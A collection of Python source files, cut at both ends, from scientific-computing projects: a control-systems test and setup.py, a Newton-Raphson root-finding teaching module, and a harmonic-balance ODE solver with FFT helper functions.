-0.015360000000000002, -0.18432], [0.019235555555555558, 0.23082666666666668, -0.019484444444444447, -0.19484444444444443]]) assert_array_almost_equal(Gss.c, des_c) assert_array_almost_equal(Gss.d, np.zeros([2, 2])) def test_state_to_transfer(): G = State(-2*np.eye(2), np.eye(2), [[1, -3], [0, 0]], [[0, 1], [-1, 0]]) H = state_to_transfer(G) H11 = H[1, 1] assert_array_equal(H11.num, np.array([[0.]])) assert_array_equal(H11.den, np.array([[1.]])) ``` #### File: josephcslater/harold/setup.py ```python import sys import os from os.path import abspath, dirname import io import subprocess from setuptools import setup # Borrowing some .git machinery from SciPy's setup.py if sys.version_info[:2] < (3, 6): raise RuntimeError("Python version >= 3.6 required.") MAJOR = 1 MINOR = 0 MICRO = 2 ISRELEASED = False VERSION = '{}.{}.{}'.format(MAJOR, MINOR, MICRO) # Return the git revision as a string def git_version(): def _minimal_ext_cmd(cmd): # construct minimal environment env = {} for k in ['SYSTEMROOT', 'PATH']: v = os.environ.get(k) if v is not None: env[k] = v # LANGUAGE is used on win32 env['LANGUAGE'] = 'C' env['LANG'] = 'C' env['LC_ALL'] = 'C' out = subprocess.Popen(cmd, stdout=subprocess.PIPE, env=env).communicate()[0] return out try: out = _minimal_ext_cmd(['git', 'rev-parse', 'HEAD']) GIT_REVISION = out.strip().decode('ascii') except OSError: GIT_REVISION = "Unknown" return GIT_REVISION def get_version_info(): FULLVERSION = VERSION if os.path.exists('.git'): GIT_REVISION = git_version() elif os.path.exists('harold/_version.py'): # must be a source distribution, use existing version file # load it as a separate module to not load scipy/__init__.py import imp version = imp.load_source('harold._version', 'harold/_version.py') GIT_REVISION = version.git_revision else: GIT_REVISION = "Unknown" if not ISRELEASED: FULLVERSION += '.dev0+' + GIT_REVISION[:7] return FULLVERSION, GIT_REVISION def write_version_py(filename='harold/_version.py'): FULLVERSION, GIT_REVISION = get_version_info() s = (f'''# THIS FILE IS AUTO-GENERATED FROM SETUP.PY\n''' f'''short_version = "{VERSION}"\n''' f'''version = "{VERSION}"\n''' f'''full_version = "{FULLVERSION}"\n''' f'''git_revision = "{GIT_REVISION}"\n''' f'''release = {ISRELEASED}\n''' f'''if not release:\n''' f''' version = full_version\n''') a = open(filename, 'w') try: a.write(s) finally: a.close() # ============================= # Back to setup.py declarations # ============================= here = abspath(dirname(__file__)) # Get the long description from the relevant file def read(*filenames, **kwargs): encoding = kwargs.get('encoding', 'utf-8') sep = kwargs.get('sep', '\n') buf = [] for filename in filenames: with io.open(filename, encoding=encoding) as f: buf.append(f.read()) return sep.join(buf) long_description = read('README.rst', 'CHANGES.txt') CLASSIFIERS = [ 'Development Status :: 5 - Production/Stable', 'Topic :: Software Development :: Build Tools', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Intended Audience :: Science/Research', 'Intended Audience :: Developers', 'Topic :: Software Development', 'Topic :: Scientific/Engineering', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Operating System :: Unix', 'Operating System :: MacOS' ] def setup_package(): write_version_py() setup( name='harold', author='<NAME>', author_email='<EMAIL>', url='https://github.com/ilayn/harold', description='A control systems library for Python3', long_description=long_description, license='MIT', classifiers=CLASSIFIERS, packages=['harold'], package_dir={'harold': 'harold'}, python_requires='>=3.6', install_requires=['numpy', 'scipy', 'matplotlib', 'tabulate'], setup_requires=['pytest-runner'], tests_require=['numpy', 'pytest'], keywords='control-theory PID controller design industrial automation', extras_require={ 'dev': ['check-manifest'], 'test': ['coverage'], 'docs': ['sphinx>=1.7.4', 'cloud-sptheme>=1.9.4', 'numpydoc'] }, version=get_version_info()[0] ) if __name__ == '__main__': setup_package() ```
{ "source": "josephcslater/JupyterExamples", "score": 5 }
#### File: josephcslater/JupyterExamples/newton_raphson.py ```python import matplotlib.pyplot as plt import scipy as sp def myfunc(x): """ Generic function. Parameters ---------- x: float or array_like The value or array at which to calculate the function Examples -------- Execution on a float >>> from newton_raphson import * >>> myfunc(3.0) 11.0 Execution on a SciPy array_like >>> a = np.linspace(0,10,10) >>> myfunc(a) array([ -4. , -0.54320988, 5.38271605, 13.77777778, 24.64197531, 37.97530864, 53.77777778, 72.04938272, 92.79012346, 116. ]) """ return x**2+2*x-4 def newton_raphson_plot(function, x0=0, dx=1e-10, eps=1e-10): """ Solve for a root of a function using Newton Raphson's method. Also plots the process. Parameters ---------- function : string String with name of function to be solved for *function(x) = 0* x0 : float Initial guess for *x* near *function(x) = 0* dx : float Delta x used for finite difference calculation of slope eps : float Absolute value of *function(x)* which is considered zero. Examples -------- >>> from newton_raphson import * >>> def myfunc(x): ... return x**2+2*x-4 >>> function_name = 'myfunc' >>> newton_raphson_plot(function_name, x0=2) (1.23606797..., ...) """ deltax = 2 * eps count = 0 x = x0 y = np.linspace(1, 6, 200) plt.plot(y, globals()[function](y)) plt.ylabel('$f(x)$') plt.xlabel('$x$') plt.title('Newton Raphson search for solution to $f(x)=0$.') plt.grid(True) plt.plot(np.array([x0, x0]), np.array([globals()[function](x0), 0]), 'r') plt.plot(np.array([x0]), np.array([globals()[function](x0)]), 'r*') while abs(globals()[function](x)) > eps and count < 50: count += 1 plt.plot(np.array([x, x]), np.array([globals()[function](x), 0]), 'r') plt.plot(np.array([x]), np.array([globals()[function](x)]), 'r*') f = globals()[function](x) f2 = globals()[function](x + dx) dfdx = (f2 - f) / dx deltax = -f / dfdx x = x + deltax xr = np.linspace(x, x - deltax, 200) y = xr * dfdx - x * dfdx plt.plot(xr, y, 'y') # Current point return x, deltax def newton_raphson(function, x0=0, dx=1e-10, eps=1e-10): """ Solve for a root of a function using Newton Raphson's method. Parameters ---------- function : string String with name of function to be solved for *function(x) = 0* x0 : float Initial guess for *x* near *function(x) = 0* dx : float Delta x used for finite difference calculation of slope eps : float Absolute value of *function(x)* which is considered zero. Examples -------- >>> from newton_raphson import * >>> def myfunc(x): ... return x**2+2*x-4 >>> function_name = 'myfunc' >>> newton_raphson(function_name, x0=2) (1.2360679..., ...) """ deltax = 2*eps count = 0 x = x0 # loop until it converges, but no more than 50 times while abs(deltax) > eps and count < 50: count += 1 # I can add 1 to the variable *count*. Neat Python shortcut. # This is a comment # The next line is "Matlab style" and *bad* #f = eval(function + '('+ str(x) + ')') f = globals()[function](x) #We explain later. #f2 = eval(function + '('+ str(x+dx) + ')') f2 = globals()[function](x+dx) dfdx = (f2-f)/dx deltax = -f/dfdx x = x + deltax return x, deltax ```
{ "source": "josephcslater/mousai", "score": 3 }
#### File: mousai/mousai/har_bal.py ```python import warnings # import logging import numpy as np import scipy as sp import scipy.fftpack as fftp import scipy.linalg as la import inspect from scipy.optimize import newton_krylov, anderson, broyden1, broyden2, \ excitingmixing, linearmixing, diagbroyden # logging.basicConfig(level=print) # Use `logging.debug` in place of print. # for instance logging.debug(pformat('e {} X {}'.format(e,X))) # This will output only info and warnings # logging.basicConfig(level=logging.INFO) # This will output only warnings # logging.basicConfig(level=logging.WARNING) def hb_time(sdfunc, x0=None, omega=1, method='newton_krylov', num_harmonics=1, num_variables=None, eqform='second_order', params={}, realify=True, **kwargs): r"""Harmonic balance solver for first and second order ODEs. Obtains the solution of a first-order and second-order differential equation under the presumption that the solution is harmonic using an algebraic time method. Returns `t` (time), `x` (displacement), `v` (velocity), and `a` (acceleration) response of a first- or second- order linear ordinary differential equation defined by :math:`\ddot{\mathbf{x}}=f(\mathbf{x},\mathbf{v},\omega)` or :math:`\dot{\mathbf{x}}=f(\mathbf{x},\omega)`. For the state space form, the function `sdfunc` should have the form:: def duff_osc_ss(x, params): # params is a dictionary of parameters omega = params['omega'] # `omega` will be put into the dictionary # for you t = params['cur_time'] # The time value is available as # `cur_time` in the dictionary xdot = np.array([[x[1]],[-x[0]-.1*x[0]**3-.1*x[1]+1*np.sin(omega*t)]]) return xdot In a state space form solution, the function must accept the states and the `params` dictionary. This dictionary should be used to obtain the prescribed response frequency and the current time. These plus any other parameters are used to calculate the state derivatives which are returned by the function. For the second order form the function `sdfunc` should have the form:: def duff_osc(x, v, params): # params is a dictionary of parameters omega = params['omega'] # `omega` will be put into the dictionary # for you t = params['cur_time'] # The time value is available as # `cur_time` in the dictionary return np.array([[-x-.1*x**3-.2*v+np.sin(omega*t)]]) In a second-order form solution the function must take the states and the `params` dictionary. This dictionary should be used to obtain the prescribed response frequency and the current time. These plus any other parameters are used to calculate the state derivatives which are returned by the function. Parameters ---------- sdfunc : function For `eqform='first_order'`, name of function that returns **column vector** first derivative given `x`, and a dictionry of parameters. This is *NOT* a string (not the name of the function). :math:`\dot{\mathbf{x}}=f(\mathbf{x},\omega)` For `eqform='second_order'`, name of function that returns **column vector** second derivative given `x`, `v`, and a dictionary of parameters. This is *NOT* a string. :math:`\ddot{\mathbf{x}}=f(\mathbf{x},\mathbf{v},\omega)` x0 : array_like, somewhat optional n x m array where n is the number of equations and m is the number of values representing the repeating solution. It is required that :math:`m = 1 + 2 num_{harmonics}`. (we will generalize allowable default values later.) omega : float assumed fundamental response frequency in radians per second. method : str, optional Name of optimization method to be used. num_harmonics : int, optional Number of harmonics to presume. The omega = 0 constant term is always presumed to exist. Minimum (and default) is 1. If num_harmonics*2+1 exceeds the number of columns of `x0` then `x0` will be expanded, using Fourier analaysis, to include additional harmonics with the starting presumption of zero values. num_variables : int, somewhat optional Number of states for a state space model, or number of generalized dispacements for a second order form. If `x0` is defined, num_variables is inferred. An error will result if both `x0` and num_variables are left out of the function call. `num_variables` must be defined if `x0` is not. eqform : str, optional `second_order` or `first_order`. (second order is default) params : dict, optional Dictionary of parameters needed by sdfunc. realify : boolean, optional Force the returned results to be real. other : any Other keyword arguments available to nonlinear solvers in `scipy.optimize.nonlin <https://docs.scipy.org/doc/scipy/reference/optimize.nonlin.html>`_. See `Notes`. Returns ------- t, x, e, amps, phases : array_like time, displacement history (time steps along columns), errors, amps : float array amplitudes of displacement (primary harmonic) in column vector format. phases : float array amplitudes of displacement (primary harmonic) in column vector format. Examples -------- >>> import mousai as ms >>> t, x, e, amps, phases = ms.hb_time(ms.duff_osc, ... np.array([[0,1,-1]]), ... omega = 0.7) Notes ----- .. seealso:: ``hb_freq`` This method is not reliable for a low number of harmonics. Calls a linear algebra function from `scipy.optimize.nonlin <https://docs.scipy.org/doc/scipy/reference/optimize.nonlin.html>`_ with `newton_krylov` as the default. Evaluates the differential equation/s at evenly spaced points in time. Each point in time yields a single equation. One harmonic plus the constant term results in 3 points in time over the cycle. Solver should gently "walk" solution up to get to nonlinearities for hard nonlinearities. Algorithm: 1. calls `hb_err` with `x` as the variable to solve for. 2. `hb_err` uses a Fourier representation of `x` to obtain velocities (after an inverse FFT) then calls `sdfunc` to determine accelerations. 3. Accelerations are also obtained using a Fourier representation of x 4. Error in the accelerations (or state derivatives) are the functional error used by the nonlinear algebraic solver (default `newton_krylov`) to be minimized by the solver. Options to the nonlinear solvers can be passed in by \*\*kwargs (keyword arguments) identical to those available to the nonlinear solver. """ # Initial conditions exist? if x0 is None: if num_variables is not None: x0 = np.zeros((num_variables, 1 + num_harmonics * 2)) else: print('Error: Must either define number of variables or initial\ guess for x.') return elif num_harmonics is None: num_harmonics = int((x0.shape[1] - 1) / 2) elif 1 + 2 * num_harmonics > x0.shape[1]: x_freq = fftp.fft(x0) x_zeros = np.zeros((x0.shape[0], 1 + num_harmonics * 2 - x0.shape[1])) x_freq = np.insert(x_freq, [x0.shape[1] - x0.shape[1] // 2], x_zeros, axis=1) x0 = fftp.ifft(x_freq) * (1 + num_harmonics * 2) / x0.shape[1] x0 = np.real(x0) if isinstance(sdfunc, str): sdfunc = globals()[sdfunc] print("sdfunc is expected to be a function name, not a string") params['function'] = sdfunc # function that returns SO derivative time = np.linspace(0, 2 * np.pi / omega, num=x0.shape[1], endpoint=False) params['time'] = time params['omega'] = omega params['n_har'] = num_harmonics def hb_err(x): r"""Array (vector) of hamonic balance second order algebraic errors. Given a set of second order equations :math:`\ddot{x} = f(x, \dot{x}, \omega, t)` calculate the error :math:`E = \ddot{x} - f(x, \dot{x}, \omega, t)` presuming that :math:`x` can be represented as a Fourier series, and thus :math:`\dot{x}` and :math:`\ddot{x}` can be obtained from the Fourier series representation of :math:`x`. Parameters ---------- x : array_like x is an :math:`n \\times m` by 1 array of presumed displacements. It must be a "list" array (not a linear algebra vector). Here :math:`n` is the number of displacements and :math:`m` is the number of times per cycle at which the displacement is guessed (minimum of 3) params : dictionary Because this function will be called by one of the scipy.optimize root finders, it must be a function of only `x`. However, for generality it need to be built based on user defined variables. These variables must be in the scope of memory when the function is created. For conveience they are stored in the variable `params`. 1. `function`: the function which returns the numerically calculated state derivatives (or second derivatives) given the states (or states and first derivatives). 2. `omega`: which is the defined fundamental harmonic at which the solution is desired. 3. `n_har`: an integer representing the number of harmonics. Note that `m` above is equal to 1 + 2 * `n_har`. Returns ------- e : array_like 2d array of numerical error of presumed solution(s) `x`. Notes ----- `function` and `omega` are not separately defined arguments so as to enable algebraic solver functions to call `hb_time_err` cleanly. The algorithm is broadly as follows: 1. The velocity or accelerations are calculated in the same shape as `x` as the variables `vel` and `accel`, one column for each time step. 3. Each column of `x` and `v` are sent with `t`, `omega`, and other `**kwargs** to `function` with the results agregated into the columns of `accel_num`. 4. The difference between `accel_num` and `accel` or `velocity_num` and `velocity` represent the error used by the numerical algebraic equation solver. """ nonlocal params # Will stay out of global/conflicts n_har = params['n_har'] omega = params['omega'] time = params['time'] m = 1 + 2 * n_har vel = harmonic_deriv(omega, x) if eqform == 'second_order': accel = harmonic_deriv(omega, vel) accel_from_deriv = np.zeros_like(accel) # Should subtract in place below to save memory for large problems for i in np.arange(m): # This should enable t to be used for current time in loops # might be able to be commented out, left as example t = time[i] params['cur_time'] = time[i] # loops # Note that everything in params can be accessed within # `function`. accel_from_deriv[:, i] = params['function'](x[:, i], vel[:, i], params)[:, 0] e = accel_from_deriv - accel elif eqform == 'first_order': vel_from_deriv = np.zeros_like(vel) # Should subtract in place below to save memory for large problems for i in np.arange(m): # This should enable t to be used for current time in loops t = time[i] params['cur_time'] = time[i] # Note that everything in params can be accessed within # `function`. vel_from_deriv[:, i] =\ params['function'](x[:, i], params)[:, 0] e = vel_from_deriv - vel else: print('eqform cannot have a value of {}', eqform) return 0, 0, 0, 0, 0 return e try: x = globals()[method](hb_err, x0, **kwargs) except: x = x0 # np.full([x0.shape[0],x0.shape[1]],np.nan) amps = np.full([x0.shape[0], ], np.nan) phases = np.full([x0.shape[0], ], np.nan) e = hb_err(x) # np.full([x0.shape[0],x0.shape[1]],np.nan) raise else: xhar = fftp.fft(x) * 2 / len(time) amps = np.absolute(xhar[:, 1]) phases = np.angle(xhar[:, 1]) e = hb_err(x) if realify is True: x = np.real(x) else: print('x was real') return time, x, e, amps, phases def hb_freq(sdfunc, x0=None, omega=1, method='newton_krylov', num_harmonics=1, num_variables=None, mask_constant=True, eqform='second_order', params={}, realify=True, num_time_steps=51, **kwargs): r"""Harmonic balance solver for first and second order ODEs. Obtains the solution of a first-order and second-order differential equation under the presumption that the solution is harmonic using an algebraic time method. Returns `t` (time), `x` (displacement), `v` (velocity), and `a` (acceleration) response of a first or second order linear ordinary differential equation defined by :math:`\ddot{\mathbf{x}}=f(\mathbf{x},\mathbf{v},\omega)` or :math:`\dot{\mathbf{x}}=f(\mathbf{x},\omega)`. For the state space form, the function `sdfunc` should have the form:: def duff_osc_ss(x, params): # params is a dictionary of parameters omega = params['omega'] # `omega` will be put into the dictionary # for you t = params['cur_time'] # The time value is available as # `cur_time` in the dictionary x_dot = np.array([[x[1]], [-x[0]-.1*x[0]**3-.1*x[1]+1*np.sin(omega*t)]]) return x_dot In a state space form solution, the function must take the states and the `params` dictionary. This dictionary should be used to obtain the prescribed response frequency and the current time. These plus any other parameters are used to calculate the state derivatives which are returned by the function. For the second order form the function `sdfunc` should have the form:: def duff_osc(x, v, params): # params is a dictionary of parameters omega = params['omega'] # `omega` will be put into the dictionary # for you t = params['cur_time'] # The time value is available as # `cur_time` in the dictionary return np.array([[-x-.1*x**3-.2*v+np.sin(omega*t)]]) In a second-order form solution the function must take the states and the `params` dictionary. This dictionary should be used to obtain the prescribed response frequency and the current time. These plus any other parameters are used to calculate the state derivatives which are returned by the function. Parameters ---------- sdfunc : function For `eqform='first_order'`, name of function that returns **column vector** first derivative given `x`, and a dictionry of parameters. This is *NOT* a string (not the name of the function). :math:`\dot{\mathbf{x}}=f(\mathbf{x},\omega)` For `eqform='second_order'`, name of function that returns **column vector** second derivative given `x`, `v`, `omega` and \*\*kwargs. This is *NOT* a string. :math:`\ddot{\mathbf{x}}=f(\mathbf{x},\mathbf{v},\omega)` x0 : array_like, somewhat optional n x m array where n is the number of equations and m is the number of values representing the repeating solution. It is required that :math:`m = 1 + 2 num_{harmonics}`. (we will generalize allowable default values later.) omega : float assumed fundamental response frequency in radians per second. method : str, optional Name of optimization method to be used. num_harmonics : int, optional Number of harmonics to presume. The `omega` = 0 constant term is always presumed to exist. Minimum (and default) is 1. If num_harmonics*2+1 exceeds the number of columns of `x0` then `x0` will be expanded, using Fourier analaysis, to include additional harmonics with the starting presumption of zero values. num_variables : int, somewhat optional Number of states for a state space model, or number of generalized dispacements for a second order form. If `x0` is defined, num_variables is inferred. An error will result if both `x0` and num_variables are left out of the function call. `num_variables` must be defined if `x0` is not. eqform : str, optional `second_order` or `first_order`. (`second order` is default) params : dict, optional Dictionary of parameters needed by sdfunc. realify : boolean, optional Force the returned results to be real. mask_constant : boolean, optional Force the constant term of the series representation to be zero. num_time_steps : int, default = 51 number of time steps to use in time histories for derivative calculations. other : any Other keyword arguments available to nonlinear solvers in `scipy.optimize.nonlin <https://docs.scipy.org/doc/scipy/reference/optimize.nonlin.html>`_. See Notes. Returns ------- t, x, e, amps, phases : array_like time, displacement history (time steps along columns), errors, amps : float array amplitudes of displacement (primary harmonic) in column vector format. phases : float array amplitudes of displacement (primary harmonic) in column vector format. Examples -------- >>> import mousai as ms >>> t, x, e, amps, phases = ms.hb_freq(ms.duff_osc, ... np.array([[0,1,-1]]), ... omega = 0.7) Notes ----- .. seealso:: `hb_time` Calls a linear algebra function from `scipy.optimize.nonlin <https://docs.scipy.org/doc/scipy/reference/optimize.nonlin.html>`_ with `newton_krylov` as the default. Evaluates the differential equation/s at evenly spaced points in time defined by the user (default 51). Uses error in FFT of derivative (acceeration or state equations) calculated based on: 1. governing equations 2. derivative of `x` (second derivative for state method) Solver should gently "walk" solution up to get to nonlinearities for hard nonlinearities. Algorithm: 1. calls `hb_time_err` with x as the variable to solve for. 2. `hb_time_err` uses a Fourier representation of x to obtain velocities (after an inverse FFT) then calls `sdfunc` to determine accelerations. 3. Accelerations are also obtained using a Fourier representation of x 4. Error in the accelerations (or state derivatives) are the functional error used by the nonlinear algebraic solver (default `newton_krylov`) to be minimized by the solver. Options to the nonlinear solvers can be passed in by \*\*kwargs. """ # Initial conditions exist? if x0 is None: if num_variables is not None: x0 = np.zeros((num_variables, 1 + num_harmonics * 2)) x0 = x0 + np.random.randn(*x0.shape) else: print('Error: Must either define number of variables or initial\ guess for x.') return elif num_harmonics is None: num_harmonics = int((x0.shape[1] - 1) / 2) elif 1 + 2 * num_harmonics > x0.shape[1]: x_freq = fftp.fft(x0) x_zeros = np.zeros((x0.shape[0], 1 + num_harmonics * 2 - x0.shape[1])) x_freq = np.insert(x_freq, [x0.shape[1] - x0.shape[1] // 2], x_zeros, axis=1) x0 = fftp.ifft(x_freq) * (1 + num_harmonics * 2) / x0.shape[1] x0 = np.real(x0) if isinstance(sdfunc, str): sdfunc = globals()[sdfunc] print("sdfunc is expected to be a function name, not a string") params['function'] = sdfunc # function that returns SO derivative time = np.linspace(0, 2 * np.pi / omega, num=x0.shape[1], endpoint=False) params['time'] = time params['omega'] = omega params['n_har'] = num_harmonics X0 = fftp.rfft(x0) if mask_constant is True: X0 = X0[:, 1:] params['mask_constant'] = mask_constant def hb_err(X): """Return errors in equation eval versus derivative calculation.""" # r"""Array (vector) of hamonic balance second order algebraic errors. # # Given a set of second order equations # :math:`\ddot{x} = f(x, \dot{x}, \omega, t)` # calculate the error :math:`E = \mathcal{F}(\ddot{x} # - \mathcal{F}\left(f(x, \dot{x}, \omega, t)\right)` # presuming that :math:`x` can be represented as a Fourier series, and # thus :math:`\dot{x}` and :math:`\ddot{x}` can be obtained from the # Fourier series representation of :math:`x` and :math:`\mathcal{F}(x)` # represents the Fourier series of :math:`x(t)` # # Parameters # ---------- # X : float array # X is an :math:`n \\times m` by 1 array of sp.fft.rfft # fft coefficients lacking the constant (first) element. # Here :math:`n` is the number of displacements and :math:`m` 2 # times the number of harmonics to be solved for. # # **kwargs : string, float, variable # **kwargs is a packed set of keyword arguments with 3 required # arguments. # 1. `function`: a string name of the function which returned # the numerically calculated acceleration. # # 2. `omega`: which is the defined fundamental harmonic # at which the is desired. # # 3. `n_har`: an integer representing the number of harmonics. # Note that `m` above is equal to 2 * `n_har`. # # Returns # ------- # e : float array # 2d array of numerical errors of presumed solution(s) `X`. Error # between first (or second) derivative via Fourier analysis and via # solution of the governing equation. # # Notes # ----- # `function` and `omega` are not separately defined arguments so as to # enable algebraic solver functions to call `hb_err` cleanly. # # The algorithm is as follows: # 1. X is prepended with a zero vector (to represent the constant # value) # 2. `x` is calculated via an inverse `numpy.fft.rfft` # 1. The velocity and accelerations are calculated in the same # shape as `x` as `vel` and `accel`. # 3. Each column of `x` and `v` are sent with `t`, `omega`, and # other `**kwargs** to `function` one at a time with the results # agregated into the columns of `accel_num`. # 4. The rfft is taken of `accel_num` and `accel`. # 5. The first column is stripped out of both `accel_num_freq and # `accel_freq`. # """ nonlocal params # Will stay out of global/conflicts omega = params['omega'] time = params['time'] mask_constant = params['mask_constant'] if mask_constant is True: X = np.hstack((np.zeros_like(X[:, 0]).reshape(-1, 1), X)) x = fftp.irfft(X) time_e, x = time_history(time, x, num_time_points=num_time_steps) vel = harmonic_deriv(omega, x) m = num_time_steps if eqform == 'second_order': accel = harmonic_deriv(omega, vel) accel_from_deriv = np.zeros_like(accel) # Should subtract in place below to save memory for large problems for i in np.arange(m): # This should enable t to be used for current time in loops # might be able to be commented out, left as example # t = time_e[i] params['cur_time'] = time_e[i] # loops # Note that everything in params can be accessed within # `function`. accel_from_deriv[:, i] = params['function'](x[:, i], vel[:, i], params)[:, 0] e = (accel_from_deriv - accel) # /np.max(np.abs(accel)) states = accel elif eqform == 'first_order': vel_from_deriv = np.zeros_like(vel) # Should subtract in place below to save memory for large problems for i in np.arange(m): # This should enable t to be used for current time in loops # t = time_e[i] params['cur_time'] = time_e[i] # Note that everything in params can be accessed within # `function`. vel_from_deriv[:, i] =\ params['function'](x[:, i], params)[:, 0] e = (vel_from_deriv - vel) # /np.max(np.abs(vel)) states = vel else: print('eqform cannot have a value of {}', eqform) return 0, 0, 0, 0, 0 states_fft = fftp.rfft(states) e_fft = fftp.rfft(e) states_fft_condensed = condense_rfft(states_fft, num_harmonics) e = condense_rfft(e_fft, num_harmonics) if mask_constant is True: e = e[:, 1:] e = e / np.max(np.abs(states_fft_condensed)) return e try: X = globals()[method](hb_err, X0, **kwargs) e = hb_err(X) if mask_constant is True: X = np.hstack((np.zeros_like(X[:, 0]).reshape(-1, 1), X)) amps = np.sqrt(X[:, 1]**2 + X[:, 2]**2) * 2 / X.shape[1] phases = np.arctan2(X[:, 1], -X[:, 2]) except: # Catches and raises errors- needs actual error listed. print( 'Excepted- search failed for omega = {:6.4f} rad/s.'.format(omega)) print("""What ever error this is, please put into har_bal after the excepts (2 of them)""") X = X0 print(mask_constant) e = hb_err(X) if mask_constant is True: X = np.hstack((np.zeros_like(X[:, 0]).reshape(-1, 1), X)) amps = np.sqrt(X[:, 1]**2 + X[:, 2]**2) * 2 / X.shape[1] phases = np.arctan2(X[:, 1], -X[:, 2]) raise x = fftp.irfft(X) if realify is True: x = np.real(x) else: print('x was real') return time, x, e, amps, phases def hb_so(sdfunc, **kwargs): """Deprecated function name. Use hb_time.""" message = 'hb_so is deprecated. Please use hb_time or an alternative.' warnings.warn(message, DeprecationWarning) return hb_time(sdfunc, kwargs) def harmonic_deriv(omega, r): r"""Return derivative of a harmonic function using frequency methods. Parameters ---------- omega: float Fundamendal frequency, in rad/sec, of repeating signal r: array_like | Array of rows of time histories to take the derivative of. | The 1 axis (each row) corresponds to a time history. | The length of the time histories *must be an odd integer*. Returns ------- s: array_like Function derivatives. The 1 axis (each row) corresponds to a time history. Examples -------- >>> import matplotlib.pyplot as plt >>> from mousai import * >>> import scipy as sp >>> from numpy import pi, sin, cos >>> f = 2 >>> omega = 2.*pi * f >>> numsteps = 11 >>> t = np.arange(0,1/omega*2*pi,1/omega*2*pi/numsteps) >>> x = np.array([sin(omega*t)]) >>> v = np.array([omega*cos(omega*t)]) >>> states = np.append(x,v,axis = 0) >>> state_derives = harmonic_deriv(omega,states) >>> plt.plot(t,states.T,t,state_derives.T,'x') [<matplotlib.line...] """ s = np.zeros_like(r) for i in np.arange(r.shape[0]): s[i, :] = fftp.diff(r[i, :]) * omega return np.real(s) def solmf(x, v, M, C, K, F): r"""Return acceleration of second order linear matrix system. Parameters ---------- x, v, F : array_like :math:`n\times 1` arrays of current displacement, velocity, and Force. M, C, K : array_like Mass, damping, and stiffness matrices. Returns ------- a : array_like :math:`n\\times 1` acceleration vector Examples -------- >>> import numpy as np >>> M = np.array([[2,0],[0,1]]) >>> K = np.array([[2,-1],[-1,3]]) >>> C = 0.01 * M + 0.01 * K >>> x = np.array([[1],[0]]) >>> v = np.array([[0],[10]]) >>> F = v * 0.1 >>> a = solmf(x, v, M, C, K, F) >>> print(a) [[-0.95] [ 1.6 ]] """ return -la.solve(M, C @ v + K @ x - F) def duff_osc(x, v, params): """Duffing oscillator acceleration.""" omega = params['omega'] t = params['cur_time'] acceleration = np.array([[-x - .1 * x**3. - 0.2 * v + np.sin(omega * t)]]) return acceleration def time_history(t, x, num_time_points=200, realify=True): r"""Generate refined time history from harmonic balance solution. Harmonic balance solutions presume a limited number of harmonics in the solution. The result is that the time history is usually a very limited number of values. Plotting these results implies that the solution isn't actually a continuous one. This function fills in the gaps using the harmonics obtained in the solution. Parameters ---------- t: array_like 1 x m array where m is the number of values representing the repeating solution. x: array_like n x m array where m is the number of equations and m is the number of values representing the repeating solution. realify: boolean Force the returned results to be real. num_time_points: int number of points desired in the "smooth" time history. Returns ------- t: array_like 1 x num_time_points array. x: array_like n x num_time_points array. Examples -------- >>> import numpy as np >>> import mousai as ms >>> x = np.array([[-0.34996499, 1.36053998, -1.11828552]]) >>> t = np.array([0. , 2.991993 , 5.98398601]) >>> t_full, x_full = ms.time_history(t, x, num_time_points=300) Notes ----- The implication of this function is that the higher harmonics that were not determined in the solution are zero. This is indeed the assumption made when setting up the harmonic balance solution. Whether this is a valid assumption is something that the user must judge when obtaining the solution. """ dt = t[1] t_length = t.size t = np.linspace(0, t_length * dt, num_time_points, endpoint=False) x_freq = fftp.fft(x) x_zeros = np.zeros((x.shape[0], t.size - x.shape[1])) x_freq = np.insert(x_freq, [t_length - t_length // 2], x_zeros, axis=1) x = fftp.ifft(x_freq) * num_time_points / t_length if realify is True: x = np.real(x) else: print('x was real') return t, x def condense_fft(X_full, num_harmonics): """Create equivalent amplitude reduced-size FFT from longer FFT.""" X_red = (np.hstack((X_full[:, 0:(num_harmonics + 1)], X_full[:, -1:-(num_harmonics + 1):-1])) * (2 * num_harmonics + 1) / X_full[0, :].size) return X_red def condense_rfft(X_full, num_harmonics): """Return real fft with fewer harmonics.""" X_len = X_full.shape[1] X_red = X_full[:, :(num_harmonics) * 2 + 1] / \ X_len * (1 + 2 * num_harmonics) return X_red def expand_rfft(X, num_harmonics): """Return real fft with mor harmonics.""" X_len = X.shape[1] cur_num_harmonics = (X_len - 1) / 2 X_expanded = np.hstack((X / X_len * (1 + 2 * num_harmonics), np.zeros((X.shape[0], int(2 * (num_harmonics - cur_num_harmonics)))) )) return X_expanded def rfft_to_fft(X_real): """Switch from SciPy real fft form to complex fft form.""" X = fftp.fft(fftp.irfft(X_real)) return X def fft_to_rfft(X): """Switch from complex form fft form to SciPy rfft form.""" X_real = fftp.rfft(np.real(fftp.ifft(X))) return X_real def time_history_r(t, x, num_time_points=200, realify=True): r"""Generate refined time history from harmonic balance solution. Harmonic balance solutions presume a limited number of harmonics in the solution. The result is that the time history is usually a very limited number of values. Plotting these results implies that the solution isn't actually a continuous one. This function fills in the gaps using the harmonics obtained in the solution. Parameters ---------- t: array_like 1 x m array where m is the number of values representing the repeating solution. x: array_like n x m array where m is the number of equations and m is the number of values representing the repeating solution. realify: boolean Force the returned results to be real. num_time_points: int number of points desired in the "smooth" time history. Returns ------- t: array_like 1 x num_time_points array. x: array_like n x num_time_points array. Examples -------- >>> import numpy as np >>> import mousai as ms >>> x = np.array([[-0.34996499, 1.36053998, -1.11828552]]) >>> t = np.array([0. , 2.991993 , 5.98398601]) >>> t_full, x_full = ms.time_history(t, x, num_time_points=300) Notes ----- The implication of this function is that the higher harmonics that were not determined in the solution are zero. This is indeed the assumption made when setting up the harmonic balance solution. Whether this is a valid assumption is something that the user must judge when obtaining the solution. """ dt = t[1] t_length = t.size t = np.linspace(0, t_length * dt, num_time_points, endpoint=False) x_freq = fftp.fft(x) x_zeros = np.zeros((x.shape[0], t.size - x.shape[1])) x_freq = np.insert(x_freq, [t_length - t_length // 2], x_zeros, axis=1) # print(x_freq) # x_freq = np.hstack((x_freq, x_zeros)) # print(x_freq) x = fftp.ifft(x_freq) * num_time_points / t_length if realify is True: x = np.real(x) else: print('x was real') return t, x def function_to_mousai(sdfunc): """Convert scipy.integrate functions to Mousai form. The form of the function returning state derivatives is `sdfunc(x, t, params)` where `x` are the current states as an `n` by `1` array, `t` is a scalar, 